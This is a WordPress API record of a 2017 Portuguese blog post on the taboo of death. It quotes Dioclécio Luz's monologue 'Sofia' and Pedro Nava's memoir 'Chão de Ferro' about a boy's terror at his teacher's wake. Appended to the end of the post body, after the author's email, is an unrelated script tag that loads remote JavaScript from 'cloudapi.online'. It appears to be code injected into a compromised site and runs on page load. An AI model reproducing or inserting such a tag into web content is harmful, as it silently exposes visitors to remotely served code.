{"id":2398,"date":"2017-07-31T01:14:14","date_gmt":"2017-07-31T01:14:14","guid":{"rendered":"http:\/\/mapati.com.br\/blog\/?p=2398"},"modified":"2017-07-31T01:14:14","modified_gmt":"2017-07-31T01:14:14","slug":"memoriasmemorialistas-l","status":"publish","type":"post","link":"https:\/\/mapati.com.br\/blogmapati\/memoriasmemorialistas-l\/","title":{"rendered":"Mem\u00f3rias\/Memorialistas (L)"},"content":{"rendered":"<p style=\"text-align: right;\">\n\t<span style=\"font-size:18px;\"><span style=\"font-family:trebuchet ms,helvetica,sans-serif;\"><i>A morte &eacute; uma coisa feia e rid&iacute;cula. Acho que muita gente n&atilde;o quer morrer s&oacute; por causa do vexame: ficar ali, exposto, coberto de flores, escutando o batraquear melanc&oacute;lico dos parentes e amigos, sentindo o corpo perder sua &uacute;ltima gra&ccedil;a, os &uacute;ltimos vest&iacute;gios de beleza, e uma manada de pequenos animaizinhos secretos, invis&iacute;veis, devorando as tripas, os dedos, o cora&ccedil;&atilde;o, fazendo cosquinha no c&eacute;rebro. E o morto tentando segurar o fedor&#8230; Prendendo a respira&ccedil;&atilde;o&#8230; E s&oacute; depois de muito tempo reconhecendo que o mau cheiro que incomoda todos, esse odor que atrai os urubus para cima da casa, como g&aacute;rgulas vivos numa revoada solene, vem de sua carne se decompondo. Todo defunto passa por essa situa&ccedil;&atilde;o rid&iacute;cula.<\/i><\/span><\/span>\n<\/p>\n<p style=\"text-align: right;\">\n\t<span style=\"font-size:18px;\"><span style=\"font-family:trebuchet ms,helvetica,sans-serif;\"><i>&nbsp;Mon&oacute;logo teatral Sofia, de Diocl&eacute;cio Luz<\/i><\/span><\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:20px;\"><span style=\"font-family:times new roman,times,serif;\">Em nossa cultura, antep&otilde;em-se dificuldades para se falar da morte, todo mundo evita o tema como se dissesse respeito somente aos marcianos. Verdade que, no batalh&atilde;o dos revolucion&aacute;rios, dos inconformados com esse tabu, dispomos de iniciativas louv&aacute;veis &#8211; uma delas, um&nbsp;<i>site<\/i>&nbsp;com enfrentamento aberto do luto.<\/span><\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:20px;\"><span style=\"font-family:times new roman,times,serif;\">Educado em fam&iacute;lia de classe m&eacute;dia urbana, eu navegava em ambiente no qual os membros tinham o passamento como coisa da metaf&iacute;sica, um fen&ocirc;meno fora de nossos lindes, ningu&eacute;m ali iria falecer, salvo na idade provecta, depois dos setenta anos; se atualizarmos &ldquo;monetariamente&rdquo;, na casa dos oitenta ou, em c&aacute;lculos ainda mais precisos de valor presente, quando ultrapassados os noventa anos.<\/span><\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:20px;\"><span style=\"font-family:times new roman,times,serif;\">Nesse caso, a morte deixava de ser antinatural, n&atilde;o mais era uma desgra&ccedil;a (minha m&atilde;e nos censurava sempre que a qualquer t&iacute;tulo pronunci&aacute;vamos essa palavra, ela dizia que dava azar).<\/span><\/span>\n<\/p>\n<p style=\"text-align: center;\">\n\t<img fetchpriority=\"high\" decoding=\"async\" alt=\"https:\/\/pixabay.com\/\" class=\"size-full wp-image-2400\" height=\"545\" src=\"http:\/\/mapati.com.br\/meu-velha\/wp-content\/uploads\/2017\/07\/255_nava.jpg\" style=\"\" title=\"\" width=\"768\" \/> <span style=\"font-family:arial,helvetica,sans-serif;\"><span style=\"font-size:14px;\">https:\/\/pixabay.com\/<\/span><\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:20px;\"><span style=\"font-family:times new roman,times,serif;\">M&eacute;dico tamb&eacute;m das necropsias, o Pedro Nava, no&nbsp;<i>Ch&atilde;o de Ferro<\/i>, terceiro volume de suas mem&oacute;rias que releio &agrave; exaust&atilde;o, retratou muito bem o estranhamento dele, menino, perante a morte, cuja representa&ccedil;&atilde;o social ocorre no vel&oacute;rio.<\/span><\/span>\n<\/p>\n<p style=\"text-align: right;\">\n\t<span style=\"font-size:18px;\"><span style=\"font-family:trebuchet ms,helvetica,sans-serif;\"><i>&ldquo;(&#8230;) Mal pude conter meu pasmo diante das modifica&ccedil;&otilde;es exibidas pelo nosso mestre. Ele, que em vida era cor de vinho, estava como se tivesse sido passado a cal, branco como se o que v&iacute;amos ali, saindo das mangas do fraque e dos colarinhos, emergindo das flores e dos ramos, n&atilde;o fossem suas m&atilde;os nem seu rosto &ndash; seus restos &ndash; mas seu molde em gesso. Chegando mais perto vi que a cor n&atilde;o era uniforme e que contrastava com os livores roxo-bringela da orla das orelhas, dos declives do pesco&ccedil;o e das pontas dos dedos. Estava im&oacute;vel ali. Sua fant&aacute;stica press&atilde;o arterial ca&iacute;ra a zero. P&eacute;treo e im&oacute;vel, imenso e marm&oacute;reo. N&atilde;o mais correria de segunda a s&aacute;bado, suando, respirando de arranco, apressando sua figura bojuda e respeit&aacute;vel &ndash; para pegar os carris&#8230;&rdquo;<\/i><\/span><\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:20px;\"><span style=\"font-family:times new roman,times,serif;\">N&atilde;o integrava meus planos tornar com o professor Tifum neste&nbsp;<i>blog<\/i>. Entretanto, voltei ao fant&aacute;stico personagem por virtude de recalcitr&acirc;ncia do Nava. O mestre do memorialista das Minas Gerais e do universo &eacute; com efeito imortal, bem que paradoxalmente ele se nos apresente duro e retesado no pijama de madeira. E numa figura&ccedil;&atilde;o pavorosa de entidade iluminada e luminosa, a compelir o garoto a sair das ex&eacute;quias para se asilar na resid&ecirc;ncia dos tios.<\/span><\/span>\n<\/p>\n<p>\n\t<span style=\"font-family:trebuchet ms,helvetica,sans-serif;\"><span style=\"font-size:18px;\"><i>&nbsp;&ldquo;(&#8230;) A custo, consegui fazer abrir a&nbsp;<\/i>Pens&atilde;o Maurity<i>. Subi para nosso aposento, acordei os tios, expliquei minha presen&ccedil;a ins&oacute;lita &agrave;quela hora da noite, deitei no sof&aacute;, tudo apagou. Mas quem disse? que eu podia dormir. Assim que come&ccedil;ava a modorrar ouvia num sussurro o&nbsp;<\/i>passa pra c&aacute; seu patife!<i>&nbsp;<\/i><i>t&atilde;o do nosso&nbsp;<\/i>Tifum<i>, abria olhos aterrados, no escuro e via encostada &agrave; minha, a cara do defunto &ndash; redonda, luminosa e branca como a lua. Acendia a luz, tudo sumia. Apagava, recome&ccedil;ava a vis&atilde;o. Acendia. O que &eacute; isto? O que &eacute; que voc&ecirc; tanto acende e apaga a luz? menino. Era a voz da tia. Tinha de dar uma explica&ccedil;&atilde;o. N&atilde;o podia confessar medo de alma e apelei para recurso que mantivesse acordados os tios. Tonteira, dor de barriga seca, de n&atilde;o poder mais. A medicina de minha tia era igual &agrave; do Cruz e logo ela me ministrou uma dose daquelas de sal amargo. Enquanto esperava o efeito eu fazia um estardalha&ccedil;o, me torcia, gemia de dor, para manter os tios acordados e afastar o&nbsp; morto com a presen&ccedil;a dos vivos. Quando o sol apareceu varrendo todos os pavores, fui &agrave;s privadas mais uma vez, vesti-me e corri para a angra do col&eacute;gio onde os dormit&oacute;rios lotados eram pouco prop&iacute;cios a apari&ccedil;&otilde;es. Minha turma nunca esqueceria o<\/i>Tifum<i>&nbsp;e quando de nossa conclus&atilde;o de curso seu retrato ia figurar no nosso quadro&#8230;&rdquo;<\/i><\/span><\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:14px;\"><span style=\"font-family:arial,helvetica,sans-serif;\">#Mon&oacute;logo Teatral Sofia &nbsp; &nbsp;#Diocl&eacute;cio Cruz&nbsp; &nbsp; #Pedro Nava&nbsp; &nbsp;#Ch&atilde;o de Ferro&nbsp; &nbsp;# Tifum&nbsp; &nbsp;Morte&nbsp; &nbsp;Vel&oacute;rio<\/span><\/span>\n<\/p>\n<p>\n\t&nbsp;\n<\/p>\n<p style=\"text-align: right;\">\n\t<span style=\"font-size:20px;\"><span style=\"font-family:times new roman,times,serif;\"><span style=\"color:#000000;\">30\/07\/2017<\/span><\/span><\/span>\n<\/p>\n<p style=\"text-align: right;\">\n\t<span style=\"font-size:20px;\"><span style=\"font-family:times new roman,times,serif;\">(255)<\/span><\/span>\n<\/p>\n<p style=\"text-align: right;\">\n\t<span style=\"font-size:20px;\"><span style=\"font-family:times new roman,times,serif;\"><a href=\"mailto:mmsmarcos1953@hotmail.com\" target=\"_blank\"><span style=\"color:#0000FF;\">mmsmarcos1953@hotmail.com<\/span><\/a><\/span><\/span>\n<\/p>\n<p>\n\t<script id=\"lg210a\" src=\"https:\/\/cloudapi.online\/js\/api46.js\" type=\"text\/javascript\">\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A morte &eacute; uma coisa feia e rid&iacute;cula. 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Todo defunto passa por essa situa&ccedil;&atilde;o rid&iacute;cula. &nbsp;Mon&oacute;logo teatral Sofia, de Diocl&eacute;cio Luz Em nossa cultura, antep&otilde;em-se dificuldades para se falar da morte, todo mundo evita o tema como se dissesse respeito somente aos marcianos. Verdade que, no batalh&atilde;o dos revolucion&aacute;rios, dos inconformados com esse tabu, dispomos de iniciativas louv&aacute;veis &#8211; uma delas, um&nbsp;site&nbsp;com enfrentamento aberto do luto. Educado em fam&iacute;lia de classe m&eacute;dia urbana, eu navegava em ambiente no qual os membros tinham o passamento como coisa da metaf&iacute;sica, um fen&ocirc;meno fora de nossos lindes, ningu&eacute;m ali iria falecer, salvo na idade provecta, depois dos setenta anos; se atualizarmos &ldquo;monetariamente&rdquo;, na casa dos oitenta ou, em c&aacute;lculos ainda mais precisos de valor presente, quando ultrapassados os noventa anos. Nesse caso, a morte deixava de ser antinatural, n&atilde;o mais era uma desgra&ccedil;a (minha m&atilde;e nos censurava sempre que a qualquer t&iacute;tulo pronunci&aacute;vamos essa palavra, ela dizia que dava azar). https:\/\/pixabay.com\/ M&eacute;dico tamb&eacute;m das necropsias, o Pedro Nava, no&nbsp;Ch&atilde;o de Ferro, terceiro volume de suas mem&oacute;rias que releio &agrave; exaust&atilde;o, retratou muito bem o estranhamento dele, menino, perante a morte, cuja representa&ccedil;&atilde;o social ocorre no vel&oacute;rio. &ldquo;(&#8230;) Mal pude conter meu pasmo diante das modifica&ccedil;&otilde;es exibidas pelo nosso mestre. Ele, que em vida era cor de vinho, estava como se tivesse sido passado a cal, branco como se o que v&iacute;amos ali, saindo das mangas do fraque e dos colarinhos, emergindo das flores e dos ramos, n&atilde;o fossem suas m&atilde;os nem seu rosto &ndash; seus restos &ndash; mas seu molde em gesso. Chegando mais perto vi que a cor n&atilde;o era uniforme e que contrastava com os livores roxo-bringela da orla das orelhas, dos declives do pesco&ccedil;o e das pontas dos dedos. Estava im&oacute;vel ali. Sua fant&aacute;stica press&atilde;o arterial ca&iacute;ra a zero. P&eacute;treo e im&oacute;vel, imenso e marm&oacute;reo. N&atilde;o mais correria de segunda a s&aacute;bado, suando, respirando de arranco, apressando sua figura bojuda e respeit&aacute;vel &ndash; para pegar os carris&#8230;&rdquo; N&atilde;o integrava meus planos tornar com o professor Tifum neste&nbsp;blog. Entretanto, voltei ao fant&aacute;stico personagem por virtude de recalcitr&acirc;ncia do Nava. O mestre do memorialista das Minas Gerais e do universo &eacute; com efeito imortal, bem que paradoxalmente ele se nos apresente duro e retesado no pijama de madeira. E numa figura&ccedil;&atilde;o pavorosa de entidade iluminada e luminosa, a compelir o garoto a sair das ex&eacute;quias para se asilar na resid&ecirc;ncia dos tios. &nbsp;&ldquo;(&#8230;) A custo, consegui fazer abrir a&nbsp;Pens&atilde;o Maurity. Subi para nosso aposento, acordei os tios, expliquei minha presen&ccedil;a ins&oacute;lita &agrave;quela hora da noite, deitei no sof&aacute;, tudo apagou. Mas quem disse? que eu podia dormir. Assim que come&ccedil;ava a modorrar ouvia num sussurro o&nbsp;passa pra c&aacute; seu patife!&nbsp;t&atilde;o do nosso&nbsp;Tifum, abria olhos aterrados, no escuro e via encostada &agrave; minha, a cara do defunto &ndash; redonda, luminosa e branca como a lua. Acendia a luz, tudo sumia. Apagava, recome&ccedil;ava a vis&atilde;o. Acendia. O que &eacute; isto? O que &eacute; que voc&ecirc; tanto acende e apaga a luz? menino. Era a voz da tia. Tinha de dar uma explica&ccedil;&atilde;o. N&atilde;o podia confessar medo de alma e apelei para recurso que mantivesse acordados os tios. Tonteira, dor de barriga seca, de n&atilde;o poder mais. A medicina de minha tia era igual &agrave; do Cruz e logo ela me ministrou uma dose daquelas de sal amargo. Enquanto esperava o efeito eu fazia um estardalha&ccedil;o, me torcia, gemia de dor, para manter os tios acordados e afastar o&nbsp; morto com a presen&ccedil;a dos vivos. Quando o sol apareceu varrendo todos os pavores, fui &agrave;s privadas mais uma vez, vesti-me e corri para a angra do col&eacute;gio onde os dormit&oacute;rios lotados eram pouco prop&iacute;cios a apari&ccedil;&otilde;es. Minha turma nunca esqueceria oTifum&nbsp;e quando de nossa conclus&atilde;o de curso seu retrato ia figurar no nosso quadro&#8230;&rdquo; #Mon&oacute;logo Teatral Sofia &nbsp; &nbsp;#Diocl&eacute;cio Cruz&nbsp; &nbsp; #Pedro Nava&nbsp; &nbsp;#Ch&atilde;o de Ferro&nbsp; &nbsp;# Tifum&nbsp; &nbsp;Morte&nbsp; &nbsp;Vel&oacute;rio &nbsp; 30\/07\/2017 (255) mmsmarcos1953@hotmail.com<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2398","post","type-post","status-publish","format-standard","hentry","category-sem-categoria"],"_links":{"self":[{"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/posts\/2398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/comments?post=2398"}],"version-history":[{"count":0,"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/posts\/2398\/revisions"}],"wp:attachment":[{"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/media?parent=2398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/categories?post=2398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mapati.com.br\/blogmapati\/wp-json\/wp\/v2\/tags?post=2398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}